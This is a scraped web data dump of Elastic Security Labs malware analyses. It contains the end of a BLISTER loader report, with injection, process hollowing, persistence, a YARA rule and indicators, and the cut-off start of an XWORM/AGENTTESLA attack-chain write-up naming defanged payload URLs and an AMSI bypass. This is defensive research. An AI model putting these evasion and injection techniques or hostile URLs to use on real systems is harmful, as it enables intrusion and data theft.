memory\",width:\"625\",height:\"169\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"decompression\",children:\"Decompression\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"After the decryption stage, the payload is then decompressed using \",(0,i.jsx)(e.strong,{children:\"RtlDecompressBuffer\"}),\" with the LZNT1 compression format.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image9.jpg\",alt:\"Decompression function using LZNT1\",width:\"962\",height:\"238\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"persistence-mechanism\",children:\"Persistence Mechanism\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"To achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the Windows startup folder. It creates a new directory using the \",(0,i.jsx)(e.strong,{children:\"CreateDirectoryW\"}),\" function with a unique hardcoded string found in the configuration file such as: C:\\\\ProgramData\",(0,i.jsx)(e.code,{children:\"UNIQUE STRING\\\\\\\\\u003e\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER then copies C:\\\\System32\\\\rundll32.exe and itself to the newly created directory and renames the files to UNIQUE STRING\\\\\u003e.exe and UNIQUE STRING\\\\\u003e.dll, respectively.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BLISTER uses the \",(0,i.jsx)(e.strong,{children:\"CopyModuleIntoFolder\"}),\" function and the \",(0,i.jsx)(e.strong,{children:\"IFileOperation\"}),\" Windows \",(0,i.jsx)(e.strong,{children:\"COM\"}),\" interface for \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies\",rel:\"nofollow\",children:\"bypassing UAC\"}),\" when copying and renaming the files:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image46.jpg\",alt:\"BLISTER function used to copy files\",width:\"818\",height:\"391\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The malware creates an LNK file using \",(0,i.jsx)(e.strong,{children:\"IShellLinkW COM\"}),\" interface and stores it in \",(0,i.jsx)(e.code,{children:\"C:\\\\Users\\\\\u003cusername\u003e\\\\AppData\\\\Roaming\\\\Microsft\\\\Windows\\\\Start Menu\\\\Startup as UNIQUE STRING\\\\\\\\\u003e.lnk\"})]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image25.jpg\",alt:\"Mapping shortcut to BLISTER with arguments\",width:\"1075\",height:\"496\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The LNK file is set to run the export function \",(0,i.jsx)(e.strong,{children:\"LaunchColorCpl\"}),\" of the newly copied malware with the renamed instance of rundll32. C:\\\\ProgramData\\\\UNIQUE STRING\\\\\u003e\\\\UNIQUE STRING\\\\\u003e.exe C:\\\\ProgramData\\\\UNIQUE STRING\\\\\u003e\\\\UNIQUE STRING\\\\\u003e.dll,LaunchColorCpl\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"injecting-payload\",children:\"Injecting Payload\"}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER implements 3 different injection techniques to execute the payload according to the configuration flag:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image27.jpg\",alt:\"BLISTER injection techniques by config flag\",width:\"854\",height:\"326\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"shellcode-execution\",children:\"Shellcode Execution\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"After decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory region with \",(0,i.jsx)(e.strong,{children:\"NtAllocateVirtualMemory\"}),\" API, it then copies the shellcode to it and it sets the memory region to read write execute with \",(0,i.jsx)(e.strong,{children:\"NtProtectVirtualMemory\"}),\" and then executes it.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image28.jpg\",alt:\"Execute shellcode function\",width:\"738\",height:\"364\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"own-process-injection\",children:\"Own Process Injection\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a section with \",(0,i.jsx)(e.strong,{children:\"NtCreateSection\"}),\" API.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image39.jpg\",alt:\"RunPE function\",width:\"1306\",height:\"136\"})}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER then tries to map a view on the created section at the payload\\u2019s preferred base address. In case the preferred address is not available and the payload is an executable it will simply map a view on the created section at a random address and then do relocation.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image34.jpg\",alt:\"Check for conflicting addresses\",width:\"1349\",height:\"279\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Conversly, if the payload is a DLL, it will first unmap the memory region of the current process image and then it will map a view on the created section with the payload\\u2019s preferred address.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image33.jpg\",alt:\"DLL unmapping\",width:\"749\",height:\"199\"})}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER then calls a function to copy the PE headers and the sections.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image12.jpg\",alt:\"Copying over PE/sections\",width:\"638\",height:\"184\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Finally, BLISTER executes the loaded payload in memory starting from its entry point if the payload is an executable. In case the payload is a DLL, it will find its export function according to the hash in the config file and execute it.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"process-hollowing\",children:\"Process Hollowing\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"BLISTER is able to perform \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/012/\",rel:\"nofollow\",children:\"process hollowing\"}),\" in a remote process:\"]}),`\n`,(0,i.jsx)(e.p,{children:\"First, there is an initial check for a specific module hash value (0x12453653), if met, BLISTER performs process hollowing against the Internet Explorer executable.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image32.jpg\",alt:\"Internet Explorer option for process hollowing\",width:\"839\",height:\"106\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"If not, the malware performs remote process hollowing with \",(0,i.jsx)(e.strong,{children:\"Werfault.exe\"}),\". BLISTER follows standard techniques used for process hollowing.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image44.jpg\",alt:\"Process hollowing function\",width:\"791\",height:\"285\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"There is one path within this function: if certain criteria are met matching Windows OS versions and build numbers the hollowing technique is performed by dropping a temporary file on disk within the \",(0,i.jsx)(e.strong,{children:\"AppData\"}),\" folder titled \",(0,i.jsx)(e.strong,{children:\"Bg.Agent.ETW\"}),\" with an explicit extension.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image52.jpg\",alt:\"Compatibility Condition check\",width:\"583\",height:\"80\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image14.jpg\",alt:\"Compatibility Condition function\",width:\"699\",height:\"257\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image4.jpg\",alt:\"Temporary file used to store payload\",width:\"336\",height:\"44\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The malware uses this file to read and write malicious DLL to this file. Werfault.exe is started by BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault process and the file is shortly deleted after.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image38.jpg\",alt:\"Procmon output of compatibility function\",width:\"1402\",height:\"385\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"configuration-extractor\",children:\"Configuration Extractor\"}),`\n`,(0,i.jsx)(e.p,{children:\"Automating the configuration and payload extraction from BLISTER is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Our extractor uses a \",(0,i.jsx)(e.a,{href:\"https://github.com/Robin-Pwner/Rabbit-Cipher\",rel:\"nofollow\",children:\"Rabbit stream cipher implementation\"}),\" and takes either a directory of samples with \",(0,i.jsx)(e.strong,{children:\"-d\"}),\" option or \",(0,i.jsx)(e.strong,{children:\"-f\"}),\" for a single sample,\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/blister-loader/blister-loader-image41.jpg\",alt:\"Config extractor output\",width:\"1046\",height:\"512\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"To enable the community to further defend themselves against existing and new variants of the BLISTER loader, we are making the configuration extractor open source under the Apache 2 License. The configuration extractor documentation and binary download can be accessed \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/blister-configuration-extractor\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,i.jsx)(e.p,{children:\"BLISTER continues to be a formidable threat, punching above its own weight class, distributing popular malware families and implants leading to major compromises. Elastic Security has been tracking BLISTER for months and we see no signs of this family slowing down.\"}),`\n`,(0,i.jsx)(e.p,{children:\"From reversing BLISTER, our team was able to identify key functionality such as different injection methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy reliance on Windows Native API\\u2019s. We also are releasing a configuration extractor that can statically retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"appendix\",children:\"Appendix\"}),`\n`,(0,i.jsx)(e.h3,{id:\"configuration-structure\",children:\"Configuration Structure\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`BLISTER configuration structure\n\nstruct Config {\n uint16_t flag;\n uint32_t payload_export_hash;\n wchar_t w_payload_filename_and_cmdline[783];\n size_t compressed_data_size;\n size_t uncompressed_data_size;\n uint8_t pe_deciphering_key[16];\n uint8_t pe_deciphering_iv[8];\n};\n\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"configurations-flags\",children:\"Configuration\\u2019s Flags\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`BLISTER configuration files\n\nenum Config::Flags {\n kDoPersistance = 0x1,\n kOwnProcessReflectiveInjectionMethod = 0x2,\n kOwnProcessHollowingMethod = 0x8,\n kRemoteProcessHollowingMethod = 0x10,\n kExecutePayloadExport = 0x20,\n kExecuteShellcodeMethod = 0x40,\n kInjectWithCmdLine = 0x80,\n kSleepAfterInjection = 0x100,\n kEnableSleepBasedAntiDebug = 0x800,\n};\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"hashing-algorithm\",children:\"Hashing Algorithm\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`BLISTER hashing algorithm\n\nuint32_t HashLibraryName(wchar_t *name) {\n uint32_t name {0};\n while (*name) {\n hash = ((hash \u003e\u003e 23) | (hash \u003c\u003c 9)) + *name++;\n }\n return hash ;\n}\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"indicators\",children:\"Indicators\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Indicator\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Note\"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2\"}),(0,i.jsx)(e.td,{children:\"SHA256\"}),(0,i.jsx)(e.td,{children:\"BLISTER DLL\"})]})})]})}),`\n`,(0,i.jsx)(e.h2,{id:\"yara-rule\",children:\"YARA Rule\"}),`\n`,(0,i.jsx)(e.p,{children:\"This updated YARA rule has shown a 13% improvement in detection rates.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`BLISTER YARA rule\n\nrule Windows_Trojan_BLISTER {\n meta:\n Author = \"Elastic Security\"\n creation_date = \"2022-04-29\"\n last_modified = \"2022-04-29\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"BLISTER\"\n threat_name = \"Windows.Trojan.BLISTER\"\n description = \"Detects BLISTER loader.\"\n reference_sample = \"afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2\"\n\n strings:\n $a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }\n $a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }\n $a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }\n $b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }\n $b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }\n condition:\n any of them\n}\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign\",rel:\"nofollow\",children:\"https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html?utm_source=trendmicroresearch\u0026utm_medium=smk\u0026utm_campaign=0422_Socgholish\",rel:\"nofollow\",children:\"https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://redcanary.com/threat-detection-report/threats/socgholish/\",rel:\"nofollow\",children:\"https://redcanary.com/threat-detection-report/threats/socgholish/\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"artifacts\",children:\"Artifacts\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Artifacts are also available for \",(0,i.jsx)(e.a,{href:\"https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte5a55b99e66b4794/628e88d91cd65960bcff2862/blister-indicators.zip\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format in a combined zip bundle.\"]})]})}function E(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(h,t)})):h(t)}var I=E;return y(S);})();\n;return Component;"},"_id":"articles/blister-loader.mdx","_raw":{"sourceFilePath":"articles/blister-loader.mdx","sourceFileName":"blister-loader.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/blister-loader"},"type":"Article","imageUrl":"/assets/images/blister-loader/blog-thumb-power-lines.jpg","readingTime":"20 min read","series":"","url":"/blister-loader","headings":[{"level":2,"title":"Key Takeaways","href":"#key-takeaways"},{"level":2,"title":"Overview","href":"#overview"},{"level":2,"title":"Execution Flow","href":"#execution-flow"},{"level":3,"title":"Launch / Entry Point","href":"#launch--entry-point"},{"level":3,"title":"Deciphering Second Stage","href":"#deciphering-second-stage"},{"level":3,"title":"Obfuscation","href":"#obfuscation"},{"level":3,"title":"Retrieving Configuration and Packed Payload","href":"#retrieving-configuration-and-packed-payload"},{"level":3,"title":"Time Based Anti Debug","href":"#time-based-anti-debug"},{"level":3,"title":"Windows API","href":"#windows-api"},{"level":4,"title":"Blister’s GetModuleHandle","href":"#blisters-getmodulehandle"},{"level":4,"title":"Blister’s GetProcAddress","href":"#blisters-getprocaddress"},{"level":4,"title":"Library Manual Mapping","href":"#library-manual-mapping"},{"level":4,"title":"x32/x64 Ntdll Mapping","href":"#x32x64-ntdll-mapping"},{"level":4,"title":"LdrLoading Windows Libraries and Removing Hooks","href":"#ldrloading-windows-libraries-and-removing-hooks"},{"level":4,"title":"x64 API Call","href":"#x64-api-call"},{"level":2,"title":"Unpacking Payload","href":"#unpacking-payload"},{"level":3,"title":"Deciphering","href":"#deciphering"},{"level":3,"title":"Decompression","href":"#decompression"},{"level":2,"title":"Persistence Mechanism","href":"#persistence-mechanism"},{"level":2,"title":"Injecting Payload","href":"#injecting-payload"},{"level":3,"title":"Shellcode Execution","href":"#shellcode-execution"},{"level":3,"title":"Own Process Injection","href":"#own-process-injection"},{"level":3,"title":"Process Hollowing","href":"#process-hollowing"},{"level":2,"title":"Configuration Extractor","href":"#configuration-extractor"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Appendix","href":"#appendix"},{"level":3,"title":"Configuration Structure","href":"#configuration-structure"},{"level":3,"title":"Configuration’s Flags","href":"#configurations-flags"},{"level":3,"title":"Hashing Algorithm","href":"#hashing-algorithm"},{"level":3,"title":"Indicators","href":"#indicators"},{"level":2,"title":"YARA Rule","href":"#yara-rule"},{"level":2,"title":"References","href":"#references"},{"level":2,"title":"Artifacts","href":"#artifacts"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Attack chain leads to XWORM and AGENTTESLA","slug":"attack-chain-leads-to-xworm-and-agenttesla","date":"2023-04-10","description":"Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate.","image":"blog-thumb-coin-stacks.jpg","tags":["xworm","agenttesla"],"body":{"raw":"\n## Key Takeaways\n\n- Threat actors are deploying known malware using their own custom .NET loaders\n- The threat actors employ simple and well-known tactics such as bypassing AMSI through patching and a basic custom .NET loader\n- The threat actors are abusing legitimate free file hosting services\n\n## Preamble\n\nOur team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate, but are in fact fake, the adversary leverages weaponized word documents to execute malicious PowerShell scripts, and also utilizes a custom obfuscated .NET loader to load various malware strains, including XWORM and AGENTTESLA.\n\n## RTF loader code analysis\n\n### Overview\n\nDuring a recent investigation, we discovered a malicious word document named `Card \u0026 Booking Details.docx`. This document has been designed with the intent to deceive the victim and includes two falsified scanned documents, namely a credit card and a passport.\n\nUpon opening the document, an RTF object hosted at `www.mediafire[.]com/file/79jzbqigitjp2v2/p2.rtf` is fetched.\n\nThis RTF object contains a macro-enabled Excel object. When opened, this macro downloads an obfuscated powerShell script which in turn deploys different malware families.\n\nAt the time of this writing, we have observed two distinct malware families, namely XWORM and AGENTTESLA, have been deployed through this execution chain. Both malware families mentioned above are loaded into the compromised system's memory by the same custom .NET loader. Once loaded, the malicious payload can carry out a range of functions, such as stealing sensitive data and executing commands on the compromised system.\n\n![Execution flow diagram](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image8.png)\n\nIn this research post, we will walk through the initial execution of the malware and detail the capabilities we discovered.\n\n### Extracting the malicious VBA\n\nThe RTF document contains multiple embedded objects, including an interesting one that caught our attention: `Excel.SheetMacroEnabled`.\n\n![Listing objects embedded in the RTF document](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image1.jpg)\n\nWe can use [`rtfdumpy.py`](https://github.com/DidierStevens/DidierStevensSuite/blob/master/rtfdump.py), a script developed by Didier Stevens to analyze RTF files, to dump the object and [`olevba.py`](https://www.decalage.info/python/olevba), a script developed by Philippe Lagadec, to extract any embedded VBA scripts from an [OLE](https://en.wikipedia.org/wiki/Object_Linking_and_Embedding) object. The extracted VBA script shown below downloads and executes a malicious powershell script from `https://www.mediafire[.]com/file/xnqxmqlcj51501d/7000m.txt/file`.\n\n![Extracting the VBA script from the Excel sheet object](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image2.png)\n\n### Powershell script analysis\n\nThe malicious PowerShell script is obfuscated using string substitution to evade detection and make analysis more difficult.\n\n![Powershell script obfuscated using string substitution](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image13.png)\n\nIt contains additional powershell script blocks in hex format that will be deployed in the infected machine designed to prepare the environment by setting up persistence, bypassing AMSI, disabling Windows defender and creating a mechanism to update the malware. The ultimate objective is to install two .NET binaries, namely a loader and a payload (XWORM / AGENTTESLA).\n\n### Deleting the malicious document\n\nThe malware starts by deleting the original Word document, first killing the process `Winword.exe` and then deleting all .DOCX files located in the default `Downloads` and `Desktop` folders of every user. This initial step shows the malware's destructive nature and how it can potentially harm the user's data.\n\n![Powershell command to delete the malicious word document](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image5.jpg)\n\n### Persistence\n\nThe malware creates a directory in the path `C:\\ProgramData\\MinMinons` , which is used to store other Powershell scripts and binaries. The currently running Powershell script is then copied to `C:\\ProgramData\\MinMinons\\Candlegraphy.\\_\\_\\_`.\n\nNext, the malware deobfuscates the first embedded Powershell script which is used to create persistence. It first writes a JScript file that invokes the original Powershell script saved in `C:\\ProgramData\\MinMinons\\Candlegraphy.\\_\\_\\_` through the activeXObject shell, then a scheduled task named “MOperaChrome” is created to run the JScript file using the Microsoft signed [Windows Script Host (WSH) utility](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript), `wscript.exe`.\n\n![Persistence through task scheduling](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image10.jpg)\n\n### AMSI bypass\n\nThe second embedded powershell script is responsible for bypassing AMSI by patching the `amsiInitFailed` flag. In doing so, the initialization of AMSI fails, leading to the prevention of any scan being initiated for the ongoing process. Furthermore, the PowerShell script proceeds to disable the Microsoft Windows Defender service.\n\n![Disabling WinDefend 